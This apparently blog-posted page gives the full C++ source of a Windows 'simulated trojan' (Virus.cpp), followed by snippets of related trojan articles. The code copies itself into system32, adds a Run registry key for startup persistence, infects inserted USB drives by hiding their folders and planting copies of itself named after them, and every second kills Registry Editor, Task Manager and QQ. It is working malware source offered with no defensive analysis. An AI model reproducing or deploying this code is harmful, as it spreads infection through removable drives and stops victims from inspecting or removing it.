模拟木马

  1 // Virus.cpp : 定义应用程序的入口点。
  2 //
  3
  4 #include "stdafx.h"
  5 #include "Virus.h"
  6 #include <windows.h>
  7 #include <Dbt.h>
  8 #include <iostream>
  9 #include"io.h"
 10 #include "tlhelp32.h"
 11 using namespace std;
 12 #define MAX_LOADSTRING 100
 13
 14
 15
 16
 17 void KillProcess(WCHAR* wzFilePath);
 18 // 全局变量:
 19 HINSTANCE hInst;                                // 当前实例
 20 TCHAR szTitle[MAX_LOADSTRING];                    // 标题栏文本
 21 TCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名
 22
 23 // 此代码模块中包含的函数的前向声明:
 24 ATOM                MyRegisterClass(HINSTANCE hInstance);
 25 BOOL                InitInstance(HINSTANCE, int);
 26 LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
 27 INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
 28
 29 int APIENTRY _tWinMain(HINSTANCE hInstance,
 30                      HINSTANCE hPrevInstance,
 31                      LPTSTR    lpCmdLine,
 32                      int       nCmdShow)
 33 {
 34     WNDCLASS wndclass;
 35     wndclass.cbClsExtra=0;
 36     wndclass.cbWndExtra=0;
 37     wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
 38     wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
 39     wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
 40     wndclass.hInstance=hInstance;
 41     wndclass.lpfnWndProc=WndProc;
 42     wndclass.lpszClassName=L"lieying";
 43     wndclass.lpszMenuName=NULL;
 44     wndclass.style=CS_VREDRAW|CS_HREDRAW;
 45
 46     RegisterClass(&wndclass);             //注册窗口类
 47
 48     HWND hwnd;
 49     hwnd=CreateWindow(L"lieying",L"",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
 50     //ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
 51     UpdateWindow(hwnd);
 52     MSG msg;
 53     while(GetMessage(&msg,hwnd,0,0))      //消息循环
 54     {
 55         TranslateMessage(&msg);
 56         DispatchMessage(&msg);
 57     }
 58     return (int) msg.wParam;
 59 }
 60
 61
 62
 63 //
 64 //  函数: MyRegisterClass()
 65 //
 66 //  目的: 注册窗口类。
 67 //
 68 //  注释:
 69 //
 70 //    仅当希望
 71 //    此代码与添加到 Windows 95 中的“RegisterClassEx”
 72 //    函数之前的 Win32 系统兼容时,才需要此函数及其用法。调用此函数十分重要,
 73 //    这样应用程序就可以获得关联的
 74 //    “格式正确的”小图标。
 75 //
 76 ATOM MyRegisterClass(HINSTANCE hInstance)
 77 {
 78     WNDCLASSEX wcex;
 79
 80     wcex.cbSize = sizeof(WNDCLASSEX);
 81
 82     wcex.style            = CS_HREDRAW | CS_VREDRAW;
 83     wcex.lpfnWndProc    = WndProc;
 84     wcex.cbClsExtra        = 0;
 85     wcex.cbWndExtra        = 0;
 86     wcex.hInstance        = hInstance;
 87     wcex.hIcon            = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS));
 88     wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
 89     wcex.hbrBackground    = (HBRUSH)(COLOR_WINDOW+1);
 90     wcex.lpszMenuName    = MAKEINTRESOURCE(IDC_VIRUS);
 91     wcex.lpszClassName    = szWindowClass;
 92     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 93
 94     return RegisterClassEx(&wcex);
 95 }
 96
 97 //
 98 //   函数: InitInstance(HINSTANCE, int)
 99 //
100 //   目的: 保存实例句柄并创建主窗口
101 //
102 //   注释:
103 //
104 //        在此函数中,我们在全局变量中保存实例句柄并
105 //        创建和显示主程序窗口。
106 //
107 BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
108 {
109    HWND hWnd;
110
111    hInst = hInstance; // 将实例句柄存储在全局变量中
112
113    hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
114       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
115
116    if (!hWnd)
117    {
118       return FALSE;
119    }
120
121    ShowWindow(hWnd, nCmdShow);
122    UpdateWindow(hWnd);
123
124    return TRUE;
125 }
126
127 //
128 //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
129 //
130 //  目的: 处理主窗口的消息。
131 //
132 //  WM_COMMAND    - 处理应用程序菜单
133 //  WM_PAINT    - 绘制主窗口
134 //  WM_DESTROY    - 发送退出消息并返回
135 //
136 //
137 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
138 {
139     int wmId, wmEvent;
140     PAINTSTRUCT ps;
141     HDC hdc;
142
143     switch (message)
144     {
145     case WM_PAINT:
146         {
147             PAINTSTRUCT ps;
148             BeginPaint(hWnd,&ps);
149             EndPaint(hWnd,&ps);
150             break;
151         }
152
153     case WM_CLOSE:
154         {
155             DestroyWindow(hWnd);
156             break;
157         }
158
159     case WM_DESTROY:
160         {
161             PostQuitMessage(0);
162             break;
163         }
164     case WM_CREATE:                                //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
165         {
166
167             SetTimer(hWnd,1,1000,NULL);           //设置定时器,每秒调用一次。
168
169             //复制文件自身到系统目录
170             TCHAR ExeFullPath[MAX_PATH];
171             GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)
172
173             TCHAR NewFilePath[MAX_PATH]=L"C:\\WINDOWS\\system32\\virus.exe";  //Copy到系统目录。。。。
174             BOOL bret = CopyFile(ExeFullPath,NewFilePath,TRUE);
175             int a = GetLastError();
176
177             //写注册表,实现开机运行。
178             HKEY hkey;
179             TCHAR keyvalue[MAX_PATH]=L"C:\\WINDOWS\\system32\\virus.exe";
180             TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
181
182             RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
183             RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,wcslen(keyvalue));
184              a = GetLastError();
185
186             RegCloseKey(hkey);
187
188             break;
189         }
190     case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
191         {
192             if(lParam!=0)
193             {
194                 PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
195                 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)
196                 {
197                     if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
198                     {
199                         long i,j;
200                         TCHAR buf[100];
201                         TCHAR *cdbuf;
202                         j=100;
203                         i=GetLogicalDriveStrings(j,buf);
204                         for(j=0;j<i;j+=4)
205                         {
206                             cdbuf=&buf[j];
207                             if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
208                             {
209
210                                 TCHAR FileName[MAX_PATH];
211                                 wcscpy(FileName,cdbuf);
212                                 TCHAR f[MAX_PATH]=TEXT("\\*.");
213                                 wcscat(FileName,f);
214                                 struct _wfinddata_t files;
215                                 int File_Handle;
216                                 int i=0;
217                                 File_Handle = _wfindfirst(FileName,&files);
218                                 if(File_Handle==-1)
219                                 {
220                                     break;
221                                 }
222
223                                 do
224                                 {
225                                     TCHAR temp[MAX_PATH];
226                                     wcscpy(temp,wcscat(cdbuf,L"\\"));
227                                     wcscat(cdbuf,files.name);
228                                     //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
229                                     SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //给目录添加隐藏,系统属性。
230                                     CopyFile(L"C:\\WINDOWS\\system32\\virus.exe",wcscat(cdbuf,L".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。
231                                     i++;
232                                     wcscpy(cdbuf,temp);
233                                 }
234                                 while(0==_wfindnext(File_Handle,&files));
235                                 _findclose(File_Handle);
236                                 //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
237                             }
238                         }
239
240                     }
241                 }
242             }
243
244         }
245         break;
246
247
248
249     case WM_TIMER:                                   //处理WM_TIMER消息
250         {
251             HWND hwReg=FindWindow(L"RegEdit_RegEdit",L"注册表编辑器");       //寻找注册表
252             if(hwReg!=NULL)
253             {
254                 SendMessage(hwReg,WM_CLOSE,NULL,NULL);
255                 KillProcess(L"regedit.exe");//如果找到注册表,立即关闭
256             }
257
258             HWND hwTsk=FindWindow(L"#32770",L"Windows 任务管理器");          //寻找任务管理器
259             if(hwTsk!=NULL)
260             {
261                 SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //如果找到任务管理器,立即关闭
262             }
263
264             HWND hwQQ=FindWindow(L"TXGuiFoundation",NULL);             //查找QQ
265             if(hwQQ!=NULL)
266             {
267                 KillProcess(L"QQ.exe");  //杀死QQ进程,无论已经登陆QQ,还是正在登陆。。。。
268             }
269         }
270         break;
271
272
273
274     default:
275         {
276             return DefWindowProc(hWnd,message,wParam,lParam);
277             break;
278         }
279     }
280     return 0;
281 }
282
283 void KillProcess(WCHAR* wzFilePath)  //关闭QQ进程
284 {
285     //   TODO:   Add   your   control   notification   handler   code   here
286     //   PROCESSENTRY32结构对象
287     PROCESSENTRY32 pe;
288     //   创建快照句柄
289     pe.dwSize = sizeof(PROCESSENTRY32);
290     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
291
292
293     //   先搜索系统中第一个进程的信息
294     Process32First(hSnapshot, &pe);
295
296     TCHAR szFile[MAX_PATH];
297     int p;
298
299
300     //   下面对系统中的所有进程进行枚举,
301     do{
302         lstrcpy(szFile, pe.szExeFile);
303         p = lstrcmp(szFile, wzFilePath);
304         if(0 == p)   //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程
305         {
306             HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);
307
308
309             //先取得他
310             if(h)
311                 TerminateProcess(h, 0);  //关闭
312             //break;
313         }
314     }while(Process32Next(hSnapshot, &pe));
315
316
317     //   关闭快照句柄
318     CloseHandle(hSnapshot);
319 }
320 // “关于”框的消息处理程序。
321 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
322 {
323     UNREFERENCED_PARAMETER(lParam);
324     switch (message)
325     {
326     case WM_INITDIALOG:
327         return (INT_PTR)TRUE;
328
329     case WM_COMMAND:
330         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
331         {
332             EndDialog(hDlg, LOWORD(wParam));
333             return (INT_PTR)TRUE;
334         }
335         break;
336     }
337     return (INT_PTR)FALSE;
338 }

时间: 2024-07-29 02:45:47

模拟木马的相关文章

linux下模拟一个木马程序运行过程

预备知识: 将一个程序放入到后台,悄悄的执行 ./xxx.sh & 进程: 用户进程:由用户来管理 系统进程:由系统内核自行管理 系统中的每个进程,都有一个位置的ID,这就是pid,而且每次启动进程以后,PID都不相同 进程相关的命令 jobs 作用:查看当前运行在后台的进程有哪些 信息 第一列:进程编号 第二列:进程状态 第三列:进程是如何发起的 fg   进程编号    把进程从后台调到前台执行 kill %进程编号  杀死进程 ps aux   打印系统所有进程 num=`ps aux |

Atitit。木马病毒原理机密与概论以及防御

1. 定时截屏木马1 1.1. QQ聊天与微信聊天木马1 2. 文档木马1 3. 病毒木马的触发方式2 4. 远程木马2 5. 漏洞木马2 6. 病毒木马的隐藏机制2 7. 自我复制技术3 8. 木马病毒的免杀3 9. 其他木马病毒3 9.1. Gui接口的调用3 9.2. 注册表编程 4 9.3. 服务相关的编程 4 9.4. 进程与线程 4 9.5. 操作窗口4 9.6. 病毒的感染技术4 9.7. 恶意程序的自启动技术4 10. 木马的加壳4 10.1. 扫描器 嗅探器.4 1. 定时截屏

DedeCMS顽固木马后门专杀工具V2.0实现方式研究

catalog 1. 安装及使用方式 2. 检查DEDECMS是否为最新版本 3. 检查默认安装(install)目录是否存在 4. 检查默认后台目录(dede)是否存在 5. 检查DedeCMS会员中心是否关闭 6. 检查是否存在高风险的若密码账户 7. 后台友情链接xss漏洞 8. /plus/search.php SQL注入漏洞 9. /plus/feedback.php SQL注入漏洞 10. /plus/feedback_ajax.php SQL注入或XSS漏洞漏洞 11. /incl

【Windows 10 应用开发】输入模拟

---恢复内容开始--- Input Injection 直译为:输入注入.通俗的译法为:模拟输入.此注入行为可以模拟以下几种输入行为: 1.键盘按键. 2.鼠标. 3.触控. 4.书写笔输入. 5.快捷键.这个有限制,仅限于如按 Win 键.后退键. 支持输入行为注入的API都在 Windows.UI.Input.Preview.Injection 命名空间下,命名空间带有 [Preview]字样,估计这个功能还在试运行阶段. 这个所谓的注入功能,简单地说就是可以在UWP应用中模拟键盘输入.鼠

模拟MBR扇区故障

模拟MBR扇区故障 产生MBR扇区故障主要有以下两点原因: 1. 病毒.木马的入侵. 2. 不正确的分区操作和磁盘读写操作. MBR分区故障主要有以下两点现象: 1. 找不到引导程序,启动中断. 2. 无法加载操作系统,开机后黑屏 模拟MBR扇区故障: 将MBR进行备份 打开桌面终端: 使用fdisk –l 命令查看此服务器当前硬盘: OK,可以看到我们当前的服务器上有两块硬盘,分别是sda和sdb. 我们将MBR进行备份也就是对sda进行备份,但是这里要注意,sda是一块硬盘,所以我们备份的目

2014-11-2 NOIP模拟赛1

Noip2009 团结模拟赛如题目理解困难,请自行阅读或参考样例.内存限制均为 256MB,时间限制均为 1s.出题人不会 故意 在题目中设置陷阱,但请自己注意程序的正确性.IO 文件名(.in/.out)与程序名(题目名)相同.对于所有语言均不使用优化选项.对于 Pascal 选手,打开-Ct –Cr –Ci –Co 四个编译开关.祝各位答题顺利,谢谢. LazyChild 黑 OJ (blackoj.pas/c/cpp) LazyChild 开了一家“善良 OJ” .但大多数人都不知道,这其

“刷榜客”-- 手机木马Google Play恶意刷榜

目前,随着应用市场内应用数量爆炸式的增长,App营销和推广的难度也越来越大,刷榜被普遍认为是一种应用推广的最佳捷径,它能够在短期内大幅提高下载量和用户量,进而提高应用的曝光率.曝光率的提升,带来下载量的激增,而激增的下载量又会保证排名靠前,以此呈现出滚雪球式的增长.国内App刷榜市场正逐步发展壮大,并衍生为一条完整的灰色产业链:应用开发者.刷榜服务商已经形成了一个紧密的结构.   近日,百度安全实验室发现了一款专用于恶意刷榜的"刷榜客"手机僵尸木马.该木马内嵌与正常应用中,当用户安装此

反病毒攻防研究第008篇:简单木马分析与防范part2

一.前言 一般来说,木马是既有客户端也有服务器端的.上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作.本篇文章会从客户端与服务器端两个方面进行讨论,与上次的讨论不同的是,这次我会直接把用来模拟病毒的对话框程序放入服务器端,这样只要成功连接,那么就可以通过由客户端所发出的命令来让服务器端直接执行对话框程序.用这种思想,可以给服务器端增加很多功能,但是在这里仅仅讨论对话框的打开. 二.服务器端的实现 这里所讨论的木马依旧是命令行下

CentOS系统启动及内核大破坏模拟实验

讲过了centos的启动流程,此时是不是想来点破坏呢?那就尽情的玩耍吧,记得在实验之前拍个快照,万一哪个环节错误恢复不回来了呢,毕竟数据无价,话不多说,开始. 一.删除伪系统根.(ramdisk文件) (1)模拟误操作删除ramdisk文件. ①模拟误删除initramfs-3.10.0-514.el7.x86_64.img文件. ②为当前正在使用的内核重新制作ramdisk文件 格式为:mkinitrd /boot/initramfs-$(uname -r).img $(uname -r) (